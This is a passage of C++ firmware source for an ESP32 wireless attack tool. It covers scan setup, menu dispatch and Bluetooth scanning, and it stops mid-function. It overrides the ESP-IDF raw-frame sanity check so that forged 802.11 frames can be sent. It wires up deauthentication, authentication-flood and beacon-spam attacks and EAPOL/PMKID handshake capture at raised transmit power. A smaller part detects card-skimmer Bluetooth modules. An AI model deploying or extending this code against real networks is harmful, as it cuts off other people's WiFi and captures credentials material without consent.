WiFiScan.cpp 98 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812181318141815181618171818181918201821182218231824182518261827182818291830183118321833183418351836183718381839184018411842184318441845184618471848184918501851185218531854185518561857185818591860186118621863186418651866186718681869187018711872187318741875187618771878187918801881188218831884188518861887188818891890189118921893189418951896189718981899190019011902190319041905190619071908190919101911191219131914191519161917191819191920192119221923192419251926192719281929193019311932193319341935193619371938193919401941194219431944194519461947194819491950195119521953195419551956195719581959196019611962196319641965196619671968196919701971197219731974197519761977197819791980198119821983198419851986198719881989199019911992199319941995199619971998199920002001200220032004200520062007200820092010201120122013201420152016201720182019202020212022202320242025202620272028202920302031203220332034203520362037203820392040204120422043204420452046204720482049205020512052205320542055205620572058205920602061206220632064206520662067206820692070207120722073207420752076207720782079208020812082208320842085208620872088208920902091209220932094209520962097209820992100210121022103210421052106210721082109211021112112211321142115211621172118211921202121212221232124212521262127212821292130213121322133213421352136213721382139214021412142214321442145214621472148214921502151215221532154215521562157215821592160216121622163216421652166216721682169217021712172217321742175217621772178217921802181218221832184218521862187218821892190219121922193219421952196219721982199220022012202220322042205220622072208220922102211221222132214221522162217221822192220222122222223222422252226222722282229223022312232223322342235223622372238223922402241224222432244224522462247224822492250225122522253225422552256225722582259226022612262226322642265226622672268226922702271227222732274227522762277227822792280228122822283228422852286228722882289229022912292229322942295229622972298229923002301230223032304230523062307230823092310231123122313231423152316231723182319232023212322232323242325232623272328232923302331233223332334233523362337233823392340234123422343234423452346234723482349235023512352235323542355235623572358235923602361236223632364236523662367236823692370237123722373237423752376237723782379238023812382238323842385238623872388238923902391239223932394239523962397239823992400240124022403240424052406240724082409241024112412241324142415241624172418241924202421242224232424242524262427242824292430243124322433243424352436243724382439244024412442244324442445244624472448244924502451245224532454245524562457245824592460246124622463246424652466246724682469247024712472247324742475247624772478247924802481248224832484248524862487248824892490249124922493249424952496249724982499250025012502250325042505250625072508250925102511251225132514251525162517251825192520252125222523252425252526252725282529253025312532253325342535253625372538253925402541254225432544254525462547254825492550255125522553255425552556255725582559256025612562256325642565256625672568256925702571257225732574257525762577257825792580258125822583258425852586258725882589259025912592259325942595259625972598259926002601260226032604260526062607260826092610261126122613261426152616261726182619262026212622262326242625262626272628262926302631263226332634263526362637263826392640264126422643264426452646264726482649265026512652265326542655265626572658265926602661266226632664266526662667266826692670267126722673267426752676267726782679268026812682268326842685268626872688268926902691269226932694269526962697269826992700270127022703270427052706270727082709271027112712271327142715271627172718271927202721272227232724272527262727272827292730273127322733273427352736273727382739274027412742274327442745274627472748274927502751275227532754275527562757275827592760276127622763276427652766276727682769277027712772277327742775277627772778277927802781278227832784278527862787278827892790279127922793279427952796279727982799280028012802280328042805280628072808280928102811281228132814281528162817281828192820282128222823282428252826282728282829283028312832283328342835283628372838283928402841284228432844284528462847284828492850285128522853285428552856285728582859286028612862286328642865286628672868286928702871287228732874287528762877287828792880288128822883288428852886288728882889289028912892289328942895289628972898289929002901290229032904290529062907290829092910291129122913291429152916291729182919292029212922292329242925292629272928292929302931293229332934293529362937293829392940294129422943294429452946294729482949295029512952295329542955295629572958295929602961296229632964296529662967296829692970297129722973297429752976297729782979298029812982298329842985298629872988298929902991299229932994299529962997299829993000300130023003300430053006300730083009301030113012301330143015301630173018301930203021302230233024302530263027302830293030303130323033303430353036303730383039304030413042304330443045304630473048304930503051305230533054305530563057
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. WiFi.mode(WIFI_AP_STA);
  307. //esp_wifi_init(&cfg);
  308. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  309. //esp_wifi_set_mode(WIFI_AP_STA);
  310. //esp_wifi_start();
  311. //esp_wifi_set_promiscuous_filter(NULL);
  312. esp_wifi_set_promiscuous(true);
  313. esp_wifi_set_max_tx_power(82);
  314. this->wifi_initialized = true;
  315. #ifdef MARAUDER_FLIPPER
  316. flipper_led.attackLED();
  317. #endif
  318. initTime = millis();
  319. }
  320. bool WiFiScan::shutdownWiFi() {
  321. if (this->wifi_initialized) {
  322. esp_wifi_set_promiscuous(false);
  323. WiFi.disconnect();
  324. WiFi.mode(WIFI_OFF);
  325. esp_wifi_set_mode(WIFI_MODE_NULL);
  326. esp_wifi_stop();
  327. esp_wifi_deinit();
  328. #ifdef MARAUDER_FLIPPER
  329. flipper_led.offLED();
  330. #endif
  331. this->wifi_initialized = false;
  332. return true;
  333. }
  334. else {
  335. return false;
  336. }
  337. }
  338. bool WiFiScan::shutdownBLE() {
  339. #ifdef HAS_BT
  340. if (this->ble_initialized) {
  341. pBLEScan->stop();
  342. pBLEScan->clearResults();
  343. BLEDevice::deinit();
  344. #ifdef MARAUDER_FLIPPER
  345. flipper_led.offLED();
  346. #endif
  347. this->ble_initialized = false;
  348. return true;
  349. }
  350. else {
  351. return false;
  352. }
  353. #endif
  354. return true;
  355. }
  356. // Function to stop all wifi scans
  357. void WiFiScan::StopScan(uint8_t scan_mode)
  358. {
  359. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  360. (currentScanMode == WIFI_SCAN_AP) ||
  361. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  362. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  363. (currentScanMode == WIFI_SCAN_PWN) ||
  364. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  365. (currentScanMode == WIFI_SCAN_EAPOL) ||
  366. (currentScanMode == WIFI_SCAN_ALL) ||
  367. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  368. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  369. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  370. (currentScanMode == WIFI_ATTACK_AUTH) ||
  371. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  372. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  373. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  374. (currentScanMode == WIFI_PACKET_MONITOR) ||
  375. (currentScanMode == LV_JOIN_WIFI))
  376. {
  377. this->shutdownWiFi();
  378. }
  379. else if ((currentScanMode == BT_SCAN_ALL) ||
  380. (currentScanMode == BT_SCAN_SKIMMERS))
  381. {
  382. #ifdef HAS_BT
  383. this->shutdownBLE();
  384. #endif
  385. }
  386. #ifdef HAS_SCREEN
  387. display_obj.display_buffer->clear();
  388. #ifdef SCREEN_BUFFER
  389. display_obj.screen_buffer->clear();
  390. #endif
  391. //Serial.print("display_buffer->size(): ");
  392. Serial.println(display_obj.display_buffer->size());
  393. display_obj.tteBar = false;
  394. #endif
  395. }
  396. String WiFiScan::getStaMAC()
  397. {
  398. char *buf;
  399. uint8_t mac[6];
  400. char macAddrChr[18] = {0};
  401. esp_wifi_init(&cfg);
  402. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  403. esp_wifi_set_mode(WIFI_MODE_NULL);
  404. esp_wifi_start();
  405. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  406. this->wifi_initialized = true;
  407. sprintf(macAddrChr,
  408. "%02X:%02X:%02X:%02X:%02X:%02X",
  409. mac[0],
  410. mac[1],
  411. mac[2],
  412. mac[3],
  413. mac[4],
  414. mac[5]);
  415. this->shutdownWiFi();
  416. return String(macAddrChr);
  417. }
  418. String WiFiScan::getApMAC()
  419. {
  420. char *buf;
  421. uint8_t mac[6];
  422. char macAddrChr[18] = {0};
  423. esp_wifi_init(&cfg);
  424. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  425. esp_wifi_set_mode(WIFI_MODE_NULL);
  426. esp_wifi_start();
  427. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  428. this->wifi_initialized = true;
  429. sprintf(macAddrChr,
  430. "%02X:%02X:%02X:%02X:%02X:%02X",
  431. mac[0],
  432. mac[1],
  433. mac[2],
  434. mac[3],
  435. mac[4],
  436. mac[5]);
  437. this->shutdownWiFi();
  438. return String(macAddrChr);
  439. }
  440. String WiFiScan::freeRAM()
  441. {
  442. char s[150];
  443. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  444. this->free_ram = String(esp_get_free_heap_size());
  445. return String(s);
  446. }
  447. // Function to start running a beacon scan
  448. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  449. {
  450. sd_obj.openCapture("ap");
  451. #ifdef MARAUDER_FLIPPER
  452. flipper_led.sniffLED();
  453. #endif
  454. Serial.println(text_table4[9] + (String)access_points->size());
  455. #ifdef HAS_SCREEN
  456. display_obj.TOP_FIXED_AREA_2 = 48;
  457. display_obj.tteBar = true;
  458. display_obj.print_delay_1 = 15;
  459. display_obj.print_delay_2 = 10;
  460. display_obj.initScrollValues(true);
  461. display_obj.tft.setTextWrap(false);
  462. display_obj.tft.setTextColor(TFT_WHITE, color);
  463. display_obj.tft.fillRect(0,16,240,16, color);
  464. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  465. display_obj.touchToExit();
  466. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  467. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  468. #endif
  469. esp_wifi_init(&cfg);
  470. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  471. esp_wifi_set_mode(WIFI_MODE_NULL);
  472. esp_wifi_start();
  473. esp_wifi_set_promiscuous(true);
  474. esp_wifi_set_promiscuous_filter(&filt);
  475. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  476. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  477. //else
  478. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  479. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  480. this->wifi_initialized = true;
  481. initTime = millis();
  482. }
  483. #ifdef HAS_SCREEN
  484. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  485. display_obj.tft.init();
  486. display_obj.tft.setRotation(1);
  487. #ifdef TFT_SHIELD
  488. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  489. Serial.println("Using TFT Shield");
  490. #else if defined(TFT_DIY)
  491. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  492. Serial.println("Using TFT DIY");
  493. #endif
  494. display_obj.tft.setTouch(calData);
  495. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  496. lv_disp_load_scr(scr);
  497. }
  498. #endif
  499. void WiFiScan::RunClearAPs() {
  500. #ifdef HAS_SCREEN
  501. display_obj.tft.setTextWrap(false);
  502. display_obj.tft.setFreeFont(NULL);
  503. display_obj.tft.setCursor(0, 100);
  504. display_obj.tft.setTextSize(1);
  505. display_obj.tft.setTextColor(TFT_CYAN);
  506. display_obj.tft.println(F(text_table4[9]));
  507. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  508. #else
  509. this->clearAPs();
  510. #endif
  511. }
  512. void WiFiScan::RunClearSSIDs() {
  513. #ifdef HAS_SCREEN
  514. display_obj.tft.setTextWrap(false);
  515. display_obj.tft.setFreeFont(NULL);
  516. display_obj.tft.setCursor(0, 100);
  517. display_obj.tft.setTextSize(1);
  518. display_obj.tft.setTextColor(TFT_CYAN);
  519. display_obj.tft.println(F(text_table4[11]));
  520. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  521. #else
  522. this->clearSSIDs();
  523. #endif
  524. }
  525. void WiFiScan::RunGenerateSSIDs(int count) {
  526. #ifdef HAS_SCREEN
  527. display_obj.tft.setTextWrap(false);
  528. display_obj.tft.setFreeFont(NULL);
  529. display_obj.tft.setCursor(0, 100);
  530. display_obj.tft.setTextSize(1);
  531. display_obj.tft.setTextColor(TFT_CYAN);
  532. display_obj.tft.println(F(text_table4[13]));
  533. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  534. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  535. #else
  536. this->generateSSIDs(count);
  537. #endif
  538. }
  539. void WiFiScan::RunShutdownWiFi() {
  540. #ifdef HAS_SCREEN
  541. display_obj.tft.setTextWrap(false);
  542. display_obj.tft.setFreeFont(NULL);
  543. display_obj.tft.setCursor(0, 100);
  544. display_obj.tft.setTextSize(1);
  545. display_obj.tft.setTextColor(TFT_CYAN);
  546. display_obj.tft.print(F(text_table4[16]));
  547. #endif
  548. if (this->wifi_initialized) {
  549. this->shutdownWiFi();
  550. #ifdef HAS_SCREEN
  551. display_obj.tft.setTextColor(TFT_GREEN);
  552. display_obj.tft.println(F("OK"));
  553. #endif
  554. }
  555. else {
  556. #ifdef HAS_SCREEN
  557. display_obj.tft.setTextColor(TFT_RED);
  558. display_obj.tft.println(F(text17));
  559. display_obj.tft.println(F(text_table4[17]));
  560. #endif
  561. }
  562. }
  563. void WiFiScan::RunShutdownBLE() {
  564. #ifdef HAS_SCREEN
  565. display_obj.tft.setTextWrap(false);
  566. display_obj.tft.setFreeFont(NULL);
  567. display_obj.tft.setCursor(0, 100);
  568. display_obj.tft.setTextSize(1);
  569. display_obj.tft.setTextColor(TFT_CYAN);
  570. display_obj.tft.print(F(text_table4[18]));
  571. #endif
  572. if (this->ble_initialized) {
  573. this->shutdownBLE();
  574. #ifdef HAS_SCREEN
  575. display_obj.tft.setTextColor(TFT_GREEN);
  576. display_obj.tft.println(F("OK"));
  577. #endif
  578. }
  579. else {
  580. #ifdef HAS_SCREEN
  581. display_obj.tft.setTextColor(TFT_RED);
  582. display_obj.tft.println(F(text17));
  583. display_obj.tft.println(F(text_table4[19]));
  584. #endif
  585. }
  586. }
  587. void WiFiScan::RunInfo()
  588. {
  589. String sta_mac = this->getStaMAC();
  590. String ap_mac = this->getApMAC();
  591. String free_ram = this->freeRAM();
  592. //Serial.print("STA MAC: ");
  593. //Serial.println(sta_mac);
  594. //Serial.print("AP MAC: ");
  595. //Serial.println(ap_mac);
  596. Serial.println(free_ram);
  597. #ifdef HAS_SCREEN
  598. display_obj.tft.setTextWrap(false);
  599. display_obj.tft.setFreeFont(NULL);
  600. display_obj.tft.setCursor(0, SCREEN_HEIGHT / 3);
  601. display_obj.tft.setTextSize(1);
  602. display_obj.tft.setTextColor(TFT_CYAN);
  603. display_obj.tft.println(text_table4[20]);
  604. display_obj.tft.println(text_table4[21] + display_obj.version_number);
  605. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  606. #endif
  607. if (this->wsl_bypass_enabled) {
  608. #ifdef HAS_SCREEN
  609. display_obj.tft.println(text_table4[23]);
  610. #endif
  611. }
  612. else {
  613. #ifdef HAS_SCREEN
